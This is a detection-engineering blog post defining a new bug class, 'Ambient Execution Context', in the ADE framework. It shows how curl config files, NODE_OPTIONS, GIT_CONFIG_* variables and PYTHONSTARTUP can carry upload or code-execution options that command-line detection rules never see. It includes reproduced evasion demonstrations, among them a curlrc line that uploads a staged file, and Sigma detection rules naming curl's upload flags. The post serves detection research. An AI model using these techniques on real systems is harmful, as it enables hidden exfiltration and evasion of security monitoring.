Let’s talk about “Ambient Execution Context” (New ADE framework category!)

detect.fyi

The ADE Framework has a new detection logic bug class. Below: the framework in brief, then some curl shenanigans!

— -

A refresher on the ADE Framework

If you have not met ADE before, or met it once and retained only the acronym and a vague sense of unease, you are at the right place.

ADE starts from a specific framing: a detection rule is a repeatedly running hypothesis test. It takes a bucket of records, logs, aggregated summary rows, or the output of another rule, and evaluates each against a set of conditions.

Those conditions produce a boolean. The null hypothesis is that conditions are not met and the record is benign. Reject the null and the record is a predicted positive, an alert, pending triage. Framing it as statistics feels grand for something that is ultimately a `WHERE` clause on a schedule, but the framing earns its keep in a moment: it forces you to say out loud what the rule is claiming — which by itself is quite valuable.

Thus, every rule then has two halves:

- Scope is the human-readable purpose. The title, the description, the ATT&CK mappings, the author’s references. “Detect when a PowerShell script downloads a file.”
- Detection logic is the machine-readable implementation. The query, the field conditions, the boolean operators, and also the schedule, the lookback, the suppression, and the aggregation windows. Everything a machine interprets.

When someone writes a rule, the intent is that the detection logic captures every condition necessary to reject the null for any ground-truth True Positive inside the scope.

A detection logic bug is a gap between those halves

In software, a logic bug is a flaw producing unintended behaviour. ADE applies the same idea. A False-Negative-generating bug exists when both of these hold:

1. An attacker’s behaviour falls within the rule’s scope, and
2. The detection logic did not capture it, so the record is predicted negative.

The record is called benign while its ground truth is malicious. That is a False Negative, the quadrant ADE exists to attack. The framework deliberately does not cover False-Positive-generating bugs.

When you have prior knowledge of such a bug plus a working method to trigger it, ADE calls that method a Rule Bypass. Abused at scale, bypasses enable behavioural steering (boo!): an attacker stacks several across a kill chain, so instead of one missed alert there is a corridor of them, and the defender’s coverage map still reads green.

The taxonomy: four categories, now seventeen subcategories

Each category answers a different question about how the logic fails.


ADE1 — Reformatting in Actions the string the rule matches is mutable
ADE1–01 Substring Manipulation
ADE1–02 Normalization Asymmetry

ADE2 - Omit Alternatives an equally valid path was never enumerated
ADE2–01 Method/Binary
ADE2–02 Versioning
ADE2–03 Locations
ADE2–04 File Types

ADE3 - Context Development the context the rule leans on was shaped
ADE3–01 Process Cloning
ADE3–02 Aggregation Hijacking
ADE3–03 Timing and Scheduling
ADE3–04 Event Fragmentation
ADE3–05 Lineage Spoofing
ADE3–06 Limit Saturation
ADE3–07 Ambient Execution Context <- this post

ADE4 - Logic Manipulation the boolean logic or the fields betray it
ADE4–01 Gate Inversion
ADE4–02 Conjunction Inversion
ADE4–03 Incorrect Expression
ADE4–04 Field Mismapping & Semantics

Two of these deserve a note, because they break the usual assumption that evasion requires an evader. ADE3–04 Event Fragmentation fires when a piped command is split by the OS into several process events, so a rule expecting all its substrings in one event matches nothing. ADE3–06 Limit Saturation fires when volume exceeds a query engine’s join, group, or sort limit and the needed row is silently truncated. In both cases the attacker need not know the rule exists. The operating system and your own data growth handle the evasion on their behalf, unpaid, around the clock.

ADE4–03 goes further still: a rule using `AND` where it needed `OR` is broken on arrival, no attacker required at any point. It will sit in production for years, consuming compute, reporting zero hits, and quietly being counted as coverage in a spreadsheet somewhere.

Three layers, borrowed from vulnerability management

ADE deliberately mirrors a structure practitioners already know:

- ADE is the taxonomy of bug classes. The CWE analogue.
- DLE (Detection Logic Exposures) documents a specific bypass of a specific rule, mapped to the ADE classes it exhibits, with an assumption-violated statement and patching notes. The CVE analogue, currently sixteen published entries. It deliberately assigns no CVSS, because the same bypass can be critical in one estate and irrelevant in another.
- In-the-Wild (ITW) records threat actors observed using a bypass in a real intrusion. The CISA KEV analogue, currently seven entries, each one evidence that a class is exploited in practice rather than only in theory.

What ADE is not for

ADE is NOT a quality score for rule authors. Plenty of rules carry deliberate limitations for sound reasons: signal quality, data volume, licensing cost, an accepted scope boundary. Such a rule can map cleanly to an ADE class and still be the right rule to ship.

The purpose is to make the risk of a False Negative visible and trackable, so a team can accept it, mitigate it, or compensate for it elsewhere, with the decision written down. A documented limitation is a win. An undocumented blind spot is the thing ADE is built to prevent, and it has a habit of being discovered by exactly one of two parties: you, during a quiet review on a Tuesday, or an intruder, during something considerably less quiet.

Where ADE3–07 fits

ADE3 is the Context Development branch, where the attacker does not change the malicious action but shapes the context the rule depends on. Cloning a binary so a name check misses. Pre-seeding a baseline so a threshold never trips. Spoofing a parent so a lineage rule looks away.

ADE3–07 extends that branch to the context a rule never reads at all.

— -

Start with a detection pattern that appears in rulesets everywhere. The intent is to catch data leaving a host through `curl`:

detection:
selection:
Image|endswith: '\curl.exe'
CommandLine|contains:
- ' -T '
- ' - upload-file '
- ' -d '
- ' - data '
condition: selection

Reasonable. Those are the options that make `curl` send data outward rather than fetch it. The rule reads the command line, finds the option, fires. If you have written detection content for more than a fortnight you have written this rule, and you were right to.

Now watch a file leave the host anyway.

# Ambient config, written once to the user profile:
# upload-file = "C:/Users/<user>/AppData/Local/Temp/payload.txt"
> curl -s -o NUL http://127.0.0.1:8731/collect

That is the entire command line. No `-T`. No ` — upload-file`. This is what the listener received:

PUT /collect HTTP/1.1
Host: 127.0.0.1:8731
User-Agent: curl/8.21.0
Accept: */*
Content-Length: 22
staged-file-contents

A `PUT` with the file body in it. The rule above sees a `curl` process whose command line contains a URL and nothing else, and it does not fire. The upload happened. The option that caused it was never in `argv`.

Notice that nothing here misbehaved. The rule was asked a question about the command line and answered it honestly. `curl` was asked to read its configuration file and did so, promptly, as documented, with the quiet diligence of a tool that has no idea it is at the centre of an incident. Every component performed to specification. The file still left.

This is not obfuscation. There is no mangled string to normalize, no encoding to decode, no alternative binary to enumerate. The option simply arrived through a different door, and the rule was standing at the other one, checking identification very thoroughly.

Against the model in the previous section, the diagnosis is precise. The behaviour sits squarely inside the rule’s scope, a file leaving the host via `curl`. The detection logic failed to capture it. Neither half malfunctioned, so the gap between them is the bug, and it is a bug of context rather than of string matching or enumeration.

— -

The bug class

> ADE3–07, Ambient Execution Context. Detection logic keys on an option, target, or behaviour expressed in the command line, assuming the process image plus its arguments are the complete execution identity. The runtime also resolves that same input from an ambient channel that ordinary process telemetry does not record: a default configuration file, an environment variable, or configuration supplied outside the command. The attacker moves the in-scope option off the command line and into the ambient channel. The process event looks benign or incomplete while the resolved behaviour is unchanged, producing a False Negative.

A command line is only one of several inputs a process consults when it starts. Alongside it sit the working directory, the environment block, and any configuration files the tool loads by default without being asked. A rule that reads only the image and its arguments cannot see the rest. The same observed command can therefore resolve to different behaviour depending on inputs the event never captured.

The defining property: the process event can look equivalent while the resolved code, options, or behaviour differ.

— -

Four mechanisms, reproduced

Everything below was run locally on Windows 11 on 2026–11–24 and 2026–11–25. Versions are `curl 8.21.0`, `Node v24.21.0`, `Python 3.14.7`, `git 2.53.0`.

None of these is a vulnerability. Every one is a documented convenience feature, shipped on purpose, probably in response to a reasonable request from a reasonable user. That is the entire point. There is no exploit to patch here, because nothing is broken: four well-behaved tools are reading their configuration exactly as promised, in front of a detection rule that was never told the configuration existed.

1. curl: the default configuration file

`curl` reads a default config file at startup with no flag asked for. On Windows that is `_curlrc` resolved via `%CURL_HOME%` or `%APPDATA%`; on Unix, `.curlrc` via `$CURL_HOME` or `$XDG_CONFIG_HOME`. Any long-form option valid on the command line is valid in that file.

With a config file containing only `data = “exfil=probe”`, and this command line:

> curl -s -o NUL http://127.0.0.1:8731/collect

the listener received a POST with a body:

POST /collect HTTP/1.1
Host: 127.0.0.1:8731
User-Agent: curl/8.21.0
Accept: */*
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
exfil=probe

Change the config file to `upload-file = “<path>”`, leave the command line byte-for-byte identical, and the same invocation becomes the `PUT` with file contents shown at the top of this post. A GET became a POST, then became a file upload, and the command line sat there throughout insisting it was only fetching a web page.

Headers inject the same way. A config file carrying `user-agent` and `header` lines produced this on a bare `curl https://example.com`:

> User-Agent: AMBIENT-PROBE-UA
> X-Ambient: injected
# control, CURL_HOME unset:
> User-Agent: curl/8.21.0

Arbitrary request shaping, none of it visible to a command-line analytic. `curl` is not evading your rule. `curl` is being helpful, which turns out to be considerably harder to detect.

2. Node.js: NODE_OPTIONS

`NODE_OPTIONS` lets the environment supply command-line options to the runtime, including ` — require` and ` — import`, which preload a module before the entry script runs.

# control
> node app.js
visible app.js ran
# NODE_OPTIONS= - require ./preload.js, identical command line
> node app.js
PRELOAD RAN (from NODE_OPTIONS, not argv)
visible app.js ran

Attacker code ran first, inside the Node process, in a process event whose command line reads `node app.js` and means it sincerely. A rule hunting ` — require` or ` — import` on an interpreter command line sees neither, because the option was handed to the runtime through the staff entrance.

3. Git: GIT_CONFIG_COUNT

Git accepts configuration directly from the environment through `GIT_CONFIG_COUNT` with numbered `GIT_CONFIG_KEY_<n>` and `GIT_CONFIG_VALUE_<n>` pairs. Those settings apply for that invocation only.

# control
> git probe
git: 'probe' is not a git command.
# with GIT_CONFIG_COUNT=1, KEY_0=alias.probe, VALUE_0=!echo INJECTED_ALIAS_RAN
> git probe
INJECTED_ALIAS_RAN

A shell command executed through an alias that exists nowhere on disk. I then grepped the repository’s `.git/config` for any trace of it: zero matches.

This one deserves emphasis, because it defeats a second assumption as well. Config-based persistence is commonly hunted by watching for writes to config files, which is sound advice that happens to be entirely inapplicable here. There was no write. The configuration lived in the environment block of a single process, did its work, and vanished when the process exited, leaving behind an audit trail of absolutely nothing. Git did the paperwork and shredded it on the way out.

4. CPython: PYTHONSTARTUP

For interactive interpreters, `PYTHONSTARTUP` names a script that runs before the first prompt.

# control: no PYTHONSTARTUP, bare interactive python
(no startup output)
# PYTHONSTARTUP set, command line still just: python -i
STARTUP RAN (from PYTHONSTARTUP, not argv)

Code execution at interpreter start, from a command line carrying no script path at all. The feature exists so that your REPL can greet you with your favourite imports already loaded, which is genuinely lovely, and works just as well for things that are not imports and are not lovely.

— -

The boundary: search order is a related but different thing

`PATHEXT` ordering, the current working directory, `PSModulePath` ordering, and `PYTHONPATH` all change which same-named artifact resolves. These are real and they are worth hunting, but MITRE ATT&CK already classifies them as hijacks under T1574, and calling them a new detection logic bug would be duplicating that work.

They become an ADE detection bug in a specific circumstance: when the artifact that resolves then satisfies a rule’s exclusion or allowlist. At that point you have search-order context feeding ADE4–01 Gate Inversion, and the gate inversion is the bug worth recording.

ADE3–07 stays scoped to the narrower, cleaner case: the rule keys on an option or target in `argv`, and an ambient channel supplies it instead.

— -

What this means for detection

The uncomfortable conclusion is structural. Command-line-only analytics are incomplete by construction for any tool that reads ambient configuration. This is not a tuning problem and it is not fixed by a longer `contains` list.

It is also worth being honest about the telemetry, because the obvious fix mostly is not available. Environment variables are not carried in Sysmon Event ID 1, nor in Windows Security Event 4688, and most EDR process tables do not surface them either. The working directory fares better: Sysmon records `CurrentDirectory`, which covers the cwd-dependent cases, so that much you can actually have.

So the practical guidance runs the other way, toward anchoring on things the ambient channel cannot change.

Anchor on the outcome, not the option. The original rule tried to infer exfiltration from a flag. The behaviour that actually defines the scope is a process reading local files and establishing outbound network flow to an untrusted destination. That is true whether the option came from `argv`, a config file, or the environment:

logsource:
product: windows
category: network_connection # Sysmon Event ID 3 carries Image itself
detection:
selection:
Image|endswith: '\curl.exe'
Initiated: 'true'
condition: selection

No command-line condition appears anywhere in it, which is precisely why the bypass does not touch it.

Is this rule noisy? will you cry at night thinking about your sins? Yep! scope the destination behaviourally, external and non-corporate rather than a list of known-bad addresses, and correlate per process ID against the file reads from the same process to recover the “what was staged” half of the story.

One honest caveat, since this is a framework about bugs and it would be rude to pretend the replacement has none: a “newly seen destination for this host” refinement buys precision and simultaneously imports ADE3–02 Aggregation Hijacking, because an attacker who reaches that destination once, benignly, has seeded your baseline for free. Hardening a rule tends to relocate the bug rather than remove it. Knowing which bug you have chosen to live with is the entire point of ADE, and is also the difference between an engineering decision and a pleasant surprise.

Watch the configuration mechanism itself, where it has a stable location. A write to a tool’s own default config path is an immutable artifact of the mechanism, not a campaign indicator. `_curlrc` is documented, unchanging, and the only place `curl` looks. A process other than an installer or the user’s own editor creating or modifying it is worth a look. The same reasoning applies to shell profile files and module directories. Note the asymmetry revealed by the Git test: this covers the file-based channels and does nothing at all for the environment-based ones, which leave no file behind.

Treat an interpreter or transfer utility with a suspiciously bare command line as a signal in its own right. A `curl` invocation carrying only a URL, a `node` process with only an entry script, a `python -i` with no arguments: these are the shapes ambient configuration produces. Alerting on them directly would be a magnificent way to generate ten thousand tickets about your own build pipeline, so please don’t, but as a correlation input alongside a recent config write or an unexpected parent they carry real weight.

Lineage stays at two levels. The acting process and its immediate parent. Every level deeper is one more field the attacker can shape and one more field some backend quietly leaves empty, which is how a rule manages to acquire an ADE3–05 and an ADE4–04 in a single afternoon.

— -

Adding it to your review process

ADE ships a Bug Likelihood Test, a fast pre-analysis checklist for estimating whether a rule carries bug classes before you commit to deep review. ADE3–07 adds one item:

> Does the rule key on a command-line option or target that the same tool also accepts from a config file or environment variable (curl config, `NODE_OPTIONS`, `PYTHONPATH`, `GIT_CONFIG_*`)?

If yes, three follow-ups decide how bad it is. Can the attacker set that variable or write that config file at the privilege level the in-scope activity already requires? Does your telemetry capture the working directory and the resolved artifact, or only the command token? And is there a behavioural backstop that fires even when the option never reaches the command line?

— -

Status and an invitation

ADE3–07 is new to the taxonomy. The four mechanisms above are reproduced and the class is defined, but the honest status line is that worked examples and DLE entries against public named rules are still open work. ADE’s contribution bar asks for real-world examples with reproducible bypasses, and this subcategory has not yet cleared the bar its own framework set, which is either embarrassing or a good sign about the bar.

Which makes this an invitation. If you maintain or audit a ruleset, the question to run against it is small and mechanical: which of your rules key on a flag that the tool would also accept from a file you are not watching? Check `curl` and `wget` rules first, then interpreter rules, then anything matching on a transfer or sync utility’s options. Budget for the possibility that you find one in the first ten minutes. If you do, the framework has somewhere to put it.

The taxonomy, the Bug Likelihood Test, the DLE catalogue, and the In-the-Wild catalogue are all at github.com/Adversarial-Detection-Engineering. Contributions and constructive disagreement are both welcome, and the second one has improved this framework more than once.

— -

The ADE Framework is maintained by Nikolas Bielski, its author, and Daniel Koifman. It is published for defensive security research and detection engineering. Test detections only in environments you own or are authorised to operate in.

If you enjoyed the article, feel free to connect with me!
https://www.linkedin.com/in/daniel-koifman-61072218b/
https://x.com/KoifSec
https://koifsec.me
https://bsky.app/profile/koifsec.bsky.social


Let’s talk about “Ambient Execution Context” (New ADE framework category!) was originally published in Detect FYI on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read at detect.fyi ↗

Filed under toolingdetection

Mentions (3)
Reader notes

Notes are held for moderation. No account needed.